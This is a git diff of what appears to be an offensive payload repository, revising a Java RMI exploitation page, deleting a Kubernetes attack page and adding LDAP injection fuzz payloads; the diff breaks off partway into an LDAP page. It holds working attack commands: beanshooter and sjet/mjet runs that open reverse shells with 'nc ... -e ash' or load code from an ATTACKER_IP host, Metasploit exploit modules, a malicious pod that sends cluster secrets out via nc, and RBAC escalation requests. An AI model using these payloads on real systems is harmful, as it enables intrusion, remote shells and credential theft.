- [Write up – JRR Token – LeHack 2019 - Laphaze - July 7, 2019](https://web.archive.org/web/20210512205928/https://rootinthemiddle.org/write-up-jrr-token-lehack-2019/)
|
||||||
@@ -1,48 +1,120 @@
|
|||||||
# Java RMI
|
# Java RMI
|
||||||
|
|
||||||
> The attacker can host a MLet file and instruct the JMX service to load MBeans from the remote host.
|
> Java RMI (Remote Method Invocation) is a Java API that allows an object running in one JVM (Java Virtual Machine) to invoke methods on an object running in another JVM, even if they're on different physical machines. RMI provides a mechanism for Java-based distributed computing.
|
||||||
|
|
||||||
|
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
* [Exploitation](#exploitation)
|
* [Tools](#tools)
|
||||||
* [Requirements](#requirements)
|
* [Detection](#detection)
|
||||||
* [Detection](#detection)
|
* [Methodology](#methodology)
|
||||||
* [Remote Command Execution](#remote-command-execution)
|
* [RCE using beanshooter](#rce-using-beanshooter)
|
||||||
|
* [RCE using sjet/mjet](#rce-using-sjet-or-mjet)
|
||||||
|
* [RCE using Metasploit](#rce-using-metasploit)
|
||||||
* [References](#references)
|
* [References](#references)
|
||||||
|
|
||||||
## Exploitation
|
|
||||||
|
|
||||||
### Requirements
|
## Tools
|
||||||
|
|
||||||
|
- [siberas/sjet](https://github.com/siberas/sjet) - siberas JMX exploitation toolkit
|
||||||
|
- [mogwailabs/mjet](https://github.com/mogwailabs/mjet) - MOGWAI LABS JMX exploitation toolkit
|
||||||
|
- [qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - Java RMI Vulnerability Scanner
|
||||||
|
- [qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) - JMX enumeration and attacking tool.
|
||||||
|
|
||||||
|
|
||||||
|
## Detection
|
||||||
|
|
||||||
|
* Using [nmap](https://nmap.org/):
|
||||||
|
```powershell
|
||||||
|
$ nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p TARGET_PORT TARGET_IP -Pn -v
|
||||||
|
1089/tcp open java-rmi Java RMI
|
||||||
|
| rmi-vuln-classloader:
|
||||||
|
| VULNERABLE:
|
||||||
|
| RMI registry default configuration remote code execution vulnerability
|
||||||
|
| State: VULNERABLE
|
||||||
|
| Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
|
||||||
|
| rmi-dumpregistry:
|
||||||
|
| jmxrmi
|
||||||
|
| javax.management.remote.rmi.RMIServerImpl_Stub
|
||||||
|
```
|
||||||
|
|
||||||
|
* Using [qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser):
|
||||||
|
```bash
|
||||||
|
$ rmg scan 172.17.0.2 --ports 0-65535
|
||||||
|
[+] Scanning 6225 Ports on 172.17.0.2 for RMI services.
|
||||||
|
[+] [HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC)
|
||||||
|
[+] [HIT] Found RMI service(s) on 172.17.0.2:1090 (Registry, DGC)
|
||||||
|
[+] [HIT] Found RMI service(s) on 172.17.0.2:9010 (Registry, Activator, DGC)
|
||||||
|
[+] [6234 / 6234] [#############################] 100%
|
||||||
|
[+] Portscan finished.
|
||||||
|
|
||||||
|
$ rmg enum 172.17.0.2 9010
|
||||||
|
[+] RMI registry bound names:
|
||||||
|
[+]
|
||||||
|
[+] - plain-server2
|
||||||
|
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
|
||||||
|
[+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
|
||||||
|
[+] - legacy-service
|
||||||
|
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
|
||||||
|
[+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
|
||||||
|
[+] - plain-server
|
||||||
|
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
|
||||||
|
[+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]
|
||||||
|
[...]
|
||||||
|
```
|
||||||
|
|
||||||
|
* Using [rapid7/metasploit-framework](https://github.com/rapid7/metasploit-framework)
|
||||||
|
```bash
|
||||||
|
use auxiliary/scanner/misc/java_rmi_server
|
||||||
|
set RHOSTS <IPs>
|
||||||
|
set RPORT <PORT>
|
||||||
|
run
|
||||||
|
```
|
||||||
|
|
||||||
|
## Methodology
|
||||||
|
|
||||||
|
If a Java Remote Method Invocation (RMI) service is poorly configured, it becomes vulnerable to various Remote Code Execution (RCE) methods. One method involves hosting an MLet file and directing the JMX service to load MBeans from a distant server, achievable using tools like mjet or sjet. The remote-method-guesser tool is newer and combines RMI service enumeration with an overview of recognized attack strategies.
|
||||||
|
|
||||||
|
|
||||||
|
### RCE using beanshooter
|
||||||
|
|
||||||
|
* List available attributes: `beanshooter info 172.17.0.2 9010`
|
||||||
|
* Display value of an attribute: `beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose`
|
||||||
|
* Set the value of an attribute: `beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose true --type boolean`
|
||||||
|
* Bruteforce a password protected JMX service: `beanshooter brute 172.17.0.2 1090`
|
||||||
|
* List registered MBeans: `beanshooter list 172.17.0.2 9010`
|
||||||
|
* Deploy an MBean: `beanshooter deploy 172.17.0.2 9010 non.existing.example.ExampleBean qtc.test:type=Example --jar-file exampleBean.jar --stager-url http://172.17.0.1:8000`
|
||||||
|
* Enumerate JMX endpoint: `beanshooter enum 172.17.0.2 1090`
|
||||||
|
* Invoke method on a JMX endpoint: `beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'vmVersion()'`
|
||||||
|
* Invoke arbitrary public and static Java methods:
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")'
|
||||||
|
beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
|
||||||
|
```
|
||||||
|
|
||||||
|
* Standard MBean execution: `beanshooter standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash'`
|
||||||
|
* Deserialization attacks on a JMX endpoint: `beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --username admin --password admin`
|
||||||
|
|
||||||
|
|
||||||
|
### RCE using sjet or mjet
|
||||||
|
|
||||||
|
#### Requirements
|
||||||
|
|
||||||
- Jython
|
- Jython
|
||||||
- The JMX server can connect to a http service that is controlled by the attacker
|
- The JMX server can connect to a http service that is controlled by the attacker
|
||||||
- JMX authentication is not enabled
|
- JMX authentication is not enabled
|
||||||
|
|
||||||
|
#### Remote Command Execution
|
||||||
### Detection
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
$ nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p TARGET_PORT TARGET_IP -Pn -v
|
|
||||||
1089/tcp open java-rmi Java RMI
|
|
||||||
| rmi-vuln-classloader:
|
|
||||||
| VULNERABLE:
|
|
||||||
| RMI registry default configuration remote code execution vulnerability
|
|
||||||
| State: VULNERABLE
|
|
||||||
| Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
|
|
||||||
| rmi-dumpregistry:
|
|
||||||
| jmxrmi
|
|
||||||
| javax.management.remote.rmi.RMIServerImpl_Stub
|
|
||||||
```
|
|
||||||
|
|
||||||
### Remote Command Execution
|
|
||||||
|
|
||||||
The attack involves the following steps:
|
The attack involves the following steps:
|
||||||
* Starting a web server that hosts the MLet and a JAR file with the malicious MBeans
|
* Starting a web server that hosts the MLet and a JAR file with the malicious MBeans
|
||||||
* Creating a instance of the MBean javax.management.loading.MLet on the target server, using JMX
|
* Creating a instance of the MBean `javax.management.loading.MLet` on the target server, using JMX
|
||||||
* Invoking the "getMBeansFromURL" method of the MBean instance, passing the webserver URL as parameter. The JMX service will connect to the http server and parse the MLet file.
|
* Invoking the `getMBeansFromURL` method of the MBean instance, passing the webserver URL as parameter. The JMX service will connect to the http server and parse the MLet file.
|
||||||
* The JMX service downloads and loades the JAR files that were referenced in the MLet file, making the malicious MBean available over JMX.
|
* The JMX service downloads and loades the JAR files that were referenced in the MLet file, making the malicious MBean available over JMX.
|
||||||
* The attacker finally invokes methods from the malicious MBean.
|
* The attacker finally invokes methods from the malicious MBean.
|
||||||
|
|
||||||
Exploit the JMX using [sjet](https://github.com/siberas/sjet) or [mjet](https://github.com/mogwailabs/mjet)
|
Exploit the JMX using [siberas/sjet](https://github.com/siberas/sjet) or [mogwailabs/mjet](https://github.com/mogwailabs/mjet)
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
jython sjet.py TARGET_IP TARGET_PORT super_secret install http://ATTACKER_IP:8000 8000
|
jython sjet.py TARGET_IP TARGET_PORT super_secret install http://ATTACKER_IP:8000 8000
|
||||||
@@ -57,7 +129,19 @@ jython mjet.py TARGET_IP TARGET_PORT command super_secret "whoami"
|
|||||||
jython mjet.py TARGET_IP TARGET_PORT command super_secret shell
|
jython mjet.py TARGET_IP TARGET_PORT command super_secret shell
|
||||||
```
|
```
|
||||||
|
|
||||||
|
### RCE using Metasploit
|
||||||
|
|
||||||
|
```bash
|
||||||
|
use exploit/multi/misc/java_rmi_server
|
||||||
|
set RHOSTS <IPs>
|
||||||
|
set RPORT <PORT>
|
||||||
|
# configure also the payload if needed
|
||||||
|
run
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
* [ATTACKING RMI BASED JMX SERVICES - HANS-MARTIN MÜNCH - 28 APR 2019](https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/)
|
- [Attacking RMI based JMX services - Hans-Martin Münch - April 28, 2019](https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/)
|
||||||
* [JMX RMI – MULTIPLE APPLICATIONS RCE - Red Timmy Security - 26th March 2019](https://www.exploit-db.com/docs/english/46607-jmx-rmi-–-multiple-applications-remote-code-execution.pdf)
|
- [JMX RMI - MULTIPLE APPLICATIONS RCE - Red Timmy Security - March 26, 2019](https://www.exploit-db.com/docs/english/46607-jmx-rmi-–-multiple-applications-remote-code-execution.pdf)
|
||||||
|
- [remote-method-guesser - BHUSA 2021 Arsenal - Tobias Neitzel - August 15, 2021](https://www.slideshare.net/TobiasNeitzel/remotemethodguesser-bhusa2021-arsenal)
|
||||||
@@ -1,303 +0,0 @@
|
|||||||
# Kubernetes
|
|
||||||
|
|
||||||
> Kubernetes is an open-source container-orchestration system for automating application deployment, scaling, and management. It was originally designed by Google, and is now maintained by the Cloud Native Computing Foundation.
|
|
||||||
|
|
||||||
## Summary
|
|
||||||
|
|
||||||
- [Tools](#tools)
|
|
||||||
- [Container Environment](#container-environment)
|
|
||||||
- [Information Gathering](#information-gathering)
|
|
||||||
- [RBAC Configuration](#rbac-configuration)
|
|
||||||
- [Listing Secrets](#listing-secrets)
|
|
||||||
- [Access Any Resource or Verb](#access-any-resource-or-verb)
|
|
||||||
- [Pod Creation](#pod-creation)
|
|
||||||
- [Privilege to Use Pods/Exec](#privilege-to-use-pods-exec)
|
|
||||||
- [Privilege to Get/Patch Rolebindings](#privilege-to-get-patch-rolebindings)
|
|
||||||
- [Impersonating a Privileged Account](#impersonating-a-privileged-account)
|
|
||||||
- [Privileged Service Account Token](#privileged-service-account-token)
|
|
||||||
- [Interesting endpoints to reach](#interesting-endpoints-to-reach)
|
|
||||||
- [API addresses that you should know](#api-addresses-that-you-should-know)
|
|
||||||
- [References](#references)
|
|
||||||
|
|
||||||
## Tools
|
|
||||||
|
|
||||||
* [kubeaudit](https://github.com/Shopify/kubeaudit) - Audit Kubernetes clusters against common security concerns
|
|
||||||
* [kubesec.io](https://kubesec.io/) - Security risk analysis for Kubernetes resources
|
|
||||||
* [kube-bench](https://github.com/aquasecurity/kube-bench) - Checks whether Kubernetes is deployed securely by running [CIS Kubernetes Benchmark](https://www.cisecurity.org/benchmark/kubernetes/)
|
|
||||||
* [kube-hunter](https://github.com/aquasecurity/kube-hunter) - Hunt for security weaknesses in Kubernetes clusters
|
|
||||||
* [katacoda](https://katacoda.com/courses/kubernetes) - Learn Kubernetes using interactive broser-based scenarios
|
|
||||||
* [kubescape](https://github.com/armosec/kubescape) - Automate Kubernetes cluster scans to identify security issues
|
|
||||||
|
|
||||||
## Container Environment
|
|
||||||
|
|
||||||
Containers within a Kubernetes cluster automatically have certain information made available to them through their [container environment](https://kubernetes.io/docs/concepts/containers/container-environment/). Additional information may have been made available through the volumes, environment variables, or the downward API, but this section covers only what is made available by default.
|
|
||||||
|
|
||||||
### Service Account
|
|
||||||
|
|
||||||
Each Kubernetes pod is assigned a service account for accessing the Kubernetes API. The service account, in addition to the current namespace and Kubernetes SSL certificate, are made available via a mounted read-only volume:
|
|
||||||
|
|
||||||
```
|
|
||||||
/var/run/secrets/kubernetes.io/serviceaccount/token
|
|
||||||
/var/run/secrets/kubernetes.io/serviceaccount/namespace
|
|
||||||
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
|
|
||||||
```
|
|
||||||
|
|
||||||
If the `kubectl` utility is installed in the container, it will use this service account automatically and will make interacting with the cluster much easier. If not, the contents of the `token` and `namespace` files can be used to make HTTP API requests directly.
|
|
||||||
|
|
||||||
### Environment Variables
|
|
||||||
|
|
||||||
The `KUBERNETES_SERVICE_HOST` and `KUBERNETES_SERVICE_PORT` environment variables are automatically provided to the container. They contain the IP address and port number of the Kubernetes master node. If `kubectl` is installed, it will use these values automatically. If not, the values can be used to determine the correct IP address to send API requests to.
|
|
||||||
|
|
||||||
```
|
|
||||||
KUBERNETES_SERVICE_HOST=192.168.154.228
|
|
||||||
KUBERNETES_SERVICE_PORT=443
|
|
||||||
```
|
|
||||||
|
|
||||||
Additionally, [environment variables](https://kubernetes.io/docs/concepts/services-networking/service/#discovering-services) are automatically created for each Kubernetes service running in the current namespace when the container was created. The environment variables are named using two patterns:
|
|
||||||
|
|
||||||
- A simplified `{SVCNAME}_SERVICE_HOST` and `{SVCNAME}_SERVICE_PORT` contain the IP address and default port number for the service.
|
|
||||||
- A [Docker links](https://docs.docker.com/network/links/#environment-variables) collection of variables named `{SVCNAME}_PORT_{NUM}_{PROTOCOL}_{PROTO|PORT|ADDR}` for each port the service exposes.
|
|
||||||
|
|
||||||
For example, all of the following environment variables would be available if a `redis-master` service were running with port 6379 exposed:
|
|
||||||
|
|
||||||
```
|
|
||||||
REDIS_MASTER_SERVICE_HOST=10.0.0.11
|
|
||||||
REDIS_MASTER_SERVICE_PORT=6379
|
|
||||||
REDIS_MASTER_PORT=tcp://10.0.0.11:6379
|
|
||||||
REDIS_MASTER_PORT_6379_TCP=tcp://10.0.0.11:6379
|
|
||||||
REDIS_MASTER_PORT_6379_TCP_PROTO=tcp
|
|
||||||
REDIS_MASTER_PORT_6379_TCP_PORT=6379
|
|
||||||
REDIS_MASTER_PORT_6379_TCP_ADDR=10.0.0.11
|
|
||||||
```
|
|
||||||
|
|
||||||
### Simulating `kubectl` API Requests
|
|
||||||
|
|
||||||
Most containers within a Kubernetes cluster won't have the `kubectl` utility installed. If running the [one-line `kubectl` installer](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) within the container isn't an option, you may need to craft Kubernetes HTTP API requests manually. This can be done by using `kubectl` *locally* to determine the correct API request to send from the container.
|
|
||||||
|
|
||||||
1. Run the desired command at the maximum verbosity level using `kubectl -v9 ...`
|
|
||||||
1. The output will include HTTP API endpoint URL, the request body, and an example curl command.
|
|
||||||
1. Replace the endpoint URL's hostname and port with the `KUBERNETES_SERVICE_HOST` and `KUBERNETES_SERVICE_PORT` values from the container's environment variables.
|
|
||||||
1. Replace the masked "Authorization: Bearer" token value with the contents of `/var/run/secrets/kubernetes.io/serviceaccount/token` from the container.
|
|
||||||
1. If the request had a body, ensure the "Content-Type: application/json" header is included and send the request body using the customary method (for curl, use the `--data` flag).
|
|
||||||
|
|
||||||
For example, this output was used to create the [Service Account Permissions](#service-account-permissions) request:
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# NOTE: only the Authorization and Content-Type headers are required. The rest can be omitted.
|
|
||||||
$ kubectl -v9 auth can-i --list
|
|
||||||
I1028 18:58:38.192352 76118 loader.go:359] Config loaded from file /home/example/.kube/config
|
|
||||||
I1028 18:58:38.193847 76118 request.go:942] Request Body: {"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","metadata":{"creationTimestamp":null},"spec":{"namespace":"default"},"status":{"resourceRules":null,"nonResourceRules":null,"incomplete":false}}
|
|
||||||
I1028 18:58:38.193912 76118 round_trippers.go:419] curl -k -v -XPOST -H "Accept: application/json, */*" -H "Content-Type: application/json" -H "User-Agent: kubectl/v1.14.10 (linux/amd64) kubernetes/f5757a1" 'https://1.2.3.4:5678/apis/authorization.k8s.io/v1/selfsubjectrulesreviews'
|
|
||||||
I1028 18:58:38.295722 76118 round_trippers.go:438] POST https://1.2.3.4:5678/apis/authorization.k8s.io/v1/selfsubjectrulesreviews 201 Created in 101 milliseconds
|
|
||||||
I1028 18:58:38.295760 76118 round_trippers.go:444] Response Headers:
|
|
||||||
...
|
|
||||||
```
|
|
||||||
|
|
||||||
## Information Gathering
|
|
||||||
|
|
||||||
### Service Account Permissions
|
|
||||||
|
|
||||||
The default service account may have been granted additional permissions that make cluster compromise or lateral movement easier.
|
|
||||||
The following can be used to determine the service account's permissions:
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# Namespace-level permissions using kubectl
|
|
||||||
kubectl auth can-i --list
|
|
||||||
|
|
||||||
# Cluster-level permissions using kubectl
|
|
||||||
kubectl auth can-i --list --namespace=kube-system
|
|
||||||
|
|
||||||
# Permissions list using curl
|
|
||||||
NAMESPACE=$(cat "/var/run/secrets/kubernetes.io/serviceaccount/namespace")
|
|
||||||
# For cluster-level, use NAMESPACE="kube-system" instead
|
|
||||||
|
|
||||||
MASTER_URL="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
|
|
||||||
TOKEN=$(cat "/var/run/secrets/kubernetes.io/serviceaccount/token")
|
|
||||||
curl "${MASTER_URL}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
|
|
||||||
--cacert "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt" \
|
|
||||||
--header "Authorization: Bearer ${TOKEN}" \
|
|
||||||
--header "Content-Type: application/json" \
|
|
||||||
--data '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"'${NAMESPACE}'"}}'
|
|
||||||
```
|
|
||||||
|
|
||||||
### Secrets, ConfigMaps, and Volumes
|
|
||||||
|
|
||||||
Kubernetes provides Secrets and ConfigMaps as a way to load configuration into containers at runtime. While they may not lead directly to whole cluster compromise, the information they contain can lead to individual service compromise or enable lateral movement within a cluster.
|
|
||||||
|
|
||||||
From a container perspective, Kubernetes Secrets and ConfigMaps are identical. Both can be loaded into environment variables or mounted as volumes. It's not possible to determine if an environment variable was loaded from a Secret/ConfigMap, so each environment variable will need to be manually inspected. When mounted as a volume, Secrets/ConfigMaps are always mounted as read-only tmpfs filesystems. You can quickly find these with `grep -F "tmpfs ro" /etc/mtab`.
|
|
||||||
|
|
||||||
True Kubernetes Volumes are typically used as shared storage or for persistent storage across restarts. These are typically mounted as ext4 filesystems and can be identified with `grep -wF "ext4" /etc/mtab`.
|
|
||||||
|
|
||||||
### Privileged Containers
|
|
||||||
|
|
||||||
Kubernetes supports a wide range of [security contexts](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) for container and pod execution. The most important of these is the "privileged" [security policy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) which makes the host node's devices available under the container's `/dev` directory. This means having access to the host's Docker socket file (allowing arbitrary container actions) in addition to the host's root disks (which can be used to escape the container entirely).
|
|
||||||
|
|
||||||
While there is no official way to check for privileged mode from *within* a container, checking if `/dev/kmsg` exists will usually suffice.
|
|
||||||
|
|
||||||
## RBAC Configuration
|
|
||||||
|
|
||||||
### Listing Secrets
|
|
||||||
|
|
||||||
An attacker that gains access to list secrets in the cluster can use the following curl commands to get all secrets in "kube-system" namespace.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
|
||||||
```
|
|
||||||
|
|
||||||
### Access Any Resource or Verb
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
resources:
|
|
||||||
- '*'
|
|
||||||
verbs:
|
|
||||||
- '*'
|
|
||||||
```
|
|
||||||
|
|
||||||
### Pod Creation
|
|
||||||
|
|
||||||
Check your right with `kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml`.
|
|
||||||
Then create a malicious pod.yaml file.
|
|
||||||
|
|
||||||
```yaml
|
|
||||||
apiVersion: v1
|
|
||||||
kind: Pod
|
|
||||||
metadata:
|
|
||||||
name: alpine
|
|
||||||
namespace: kube-system
|
|
||||||
spec:
|
|
||||||
containers:
|
|
||||||
- name: alpine
|
|
||||||
image: alpine
|
|
||||||
command: ["/bin/sh"]
|
|
||||||
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
|
|
||||||
serviceAccountName: bootstrap-signer
|
|
||||||
automountServiceAccountToken: true
|
|
||||||
hostNetwork: true
|
|
||||||
```
|
|
||||||
|
|
||||||
Then `kubectl apply -f malicious-pod.yaml`
|
|
||||||
|
|
||||||
### Privilege to Use Pods/Exec
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
kubectl exec -it <POD NAME> -n <PODS NAMESPACE> –- sh
|
|
||||||
```
|
|
||||||
|
|
||||||
### Privilege to Get/Patch Rolebindings
|
|
||||||
|
|
||||||
The purpose of this JSON file is to bind the admin "CluserRole" to the compromised service account.
|
|
||||||
Create a malicious RoleBinging.json file.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
{
|
|
||||||
"apiVersion": "rbac.authorization.k8s.io/v1",
|
|
||||||
"kind": "RoleBinding",
|
|
||||||
"metadata": {
|
|
||||||
"name": "malicious-rolebinding",
|
|
||||||
"namespcaes": "default"
|
|
||||||
},
|
|
||||||
"roleRef": {
|
|
||||||
"apiGroup": "*",
|
|
||||||
"kind": "ClusterRole",
|
|
||||||
"name": "admin"
|
|
||||||
},
|
|
||||||
"subjects": [
|
|
||||||
{
|
|
||||||
"kind": "ServiceAccount",
|
|
||||||
"name": "sa-comp"
|
|
||||||
"namespace": "default"
|
|
||||||
}
|
|
||||||
]
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" -H "Content-Type: application/json" https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings -d @malicious-RoleBinging.json
|
|
||||||
curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>" -H "Content-Type: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret
|
|
||||||
```
|
|
||||||
|
|
||||||
### Impersonating a Privileged Account
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" -H "Impersonate-Group: system:masters" -H "Impersonate-User: null" -H "Accept: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
|
||||||
```
|
|
||||||
|
|
||||||
## Privileged Service Account Token
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
$ cat /run/secrets/kubernetes.io/serviceaccount/token
|
|
||||||
$ curl -k -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/secrets/
|
|
||||||
```
|
|
||||||
|
|
||||||
## Interesting endpoints to reach
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# List Pods
|
|
||||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/pods/
|
|
||||||
|
|
||||||
# List secrets
|
|
||||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/secrets/
|
|
||||||
|
|
||||||
# List deployments
|
|
||||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/default/deployments
|
|
||||||
|
|
||||||
# List daemonsets
|
|
||||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/default/daemonsets
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## API addresses that you should know
|
|
||||||
|
|
||||||
*(External network visibility)*
|
|
||||||
|
|
||||||
### cAdvisor
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
curl -k https://<IP Address>:4194
|
|
||||||
```
|
|
||||||
|
|
||||||
### Insecure API server
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
curl -k https://<IP Address>:8080
|
|
||||||
```
|
|
||||||
|
|
||||||
### Secure API Server
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
curl -k https://<IP Address>:(8|6)443/swaggerapi
|
|
||||||
curl -k https://<IP Address>:(8|6)443/healthz
|
|
||||||
curl -k https://<IP Address>:(8|6)443/api/v1
|
|
||||||
```
|
|
||||||
|
|
||||||
### etcd API
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
curl -k https://<IP address>:2379
|
|
||||||
curl -k https://<IP address>:2379/version
|
|
||||||
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
|
|
||||||
```
|
|
||||||
|
|
||||||
### Kubelet API
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
curl -k https://<IP address>:10250
|
|
||||||
curl -k https://<IP address>:10250/metrics
|
|
||||||
curl -k https://<IP address>:10250/pods
|
|
||||||
```
|
|
||||||
|
|
||||||
### kubelet (Read only)
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
curl -k https://<IP Address>:10255
|
|
||||||
http://<external-IP>:10255/pods
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## References
|
|
||||||
|
|
||||||
- [Kubernetes Pentest Methodology Part 1 - by Or Ida on August 8, 2019](https://securityboulevard.com/2019/08/kubernetes-pentest-methodology-part-1)
|
|
||||||
- [Kubernetes Pentest Methodology Part 2 - by Or Ida on September 5, 2019](https://securityboulevard.com/2019/09/kubernetes-pentest-methodology-part-2)
|
|
||||||
- [Kubernetes Pentest Methodology Part 3 - by Or Ida on November 21, 2019](https://securityboulevard.com/2019/11/kubernetes-pentest-methodology-part-3)
|
|
||||||
- [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0)
|
|
||||||
- [Kubernetes Pod Privilege Escalation](https://labs.bishopfox.com/tech-blog/bad-pods-kubernetes-pod-privilege-escalation)
|
|
||||||
20
LDAP Injection/Intruder/LDAP_FUZZ_SMALL.txt
Normal file
20
LDAP Injection/Intruder/LDAP_FUZZ_SMALL.txt
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
*
|
||||||
|
*)(&
|
||||||
|
*))%00
|
||||||
|
)(cn=))\x00
|
||||||
|
*()|%26'
|
||||||
|
*()|&'
|
||||||
|
*(|(mail=*))
|
||||||
|
*(|(objectclass=*))
|
||||||
|
*)(uid=*))(|(uid=*
|
||||||
|
*/*
|
||||||
|
*|
|
||||||
|
/
|
||||||
|
//
|
||||||
|
//*
|
||||||
|
@*
|
||||||
|
|
|
||||||
|
admin*
|
||||||
|
admin*)((|userpassword=*)
|
||||||
|
admin*)((|userPassword=*)
|
||||||
|
x' or name()='username' or 'x'='ys
|
||||||
@@ -1,21 +1,31 @@
|
|||||||
# LDAP injection
|
# LDAP Injection
|
||||||
|
|
||||||
> LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.
|
> LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.
|
||||||
|
|
||||||
|
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
* [Exploitation](#exploitation)
|
* [Methodology](#methodology)
|
||||||
* [Payloads](#payloads)
|
* [Authentication Bypass](#authentication-bypass)
|
||||||
* [Blind Exploitation](#blind-exploitation)
|
* [Blind Exploitation](#blind-exploitation)
|
||||||
* [Defaults attributes](#defaults-attributes)
|
* [Defaults Attributes](#defaults-attributes)
|
||||||
* [Exploiting userPassword attribute](#exploiting-userpassword-attribute)
|
* [Exploiting userPassword Attribute](#exploiting-userpassword-attribute)
|
||||||
* [Scripts](#scripts)
|
* [Scripts](#scripts)
|
||||||
* [Discover valid LDAP fields](#discover-valid-ldap-fields)
|
* [Discover Valid LDAP Fields](#discover-valid-ldap-fields)
|
||||||
* [Special blind LDAP injection](#special-blind-ldap-injection)
|
* [Special Blind LDAP Injection](#special-blind-ldap-injection)
|
||||||
|
* [Labs](#labs)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
## Exploitation
|
|
||||||
|
|
||||||
Example 1.
|
## Methodology
|
||||||
|
|
||||||
|
LDAP Injection is a vulnerability that occurs when user-supplied input is used to construct LDAP queries without proper sanitization or escaping
|
||||||
|
|
||||||
|
### Authentication Bypass
|
||||||
|
|
||||||
|
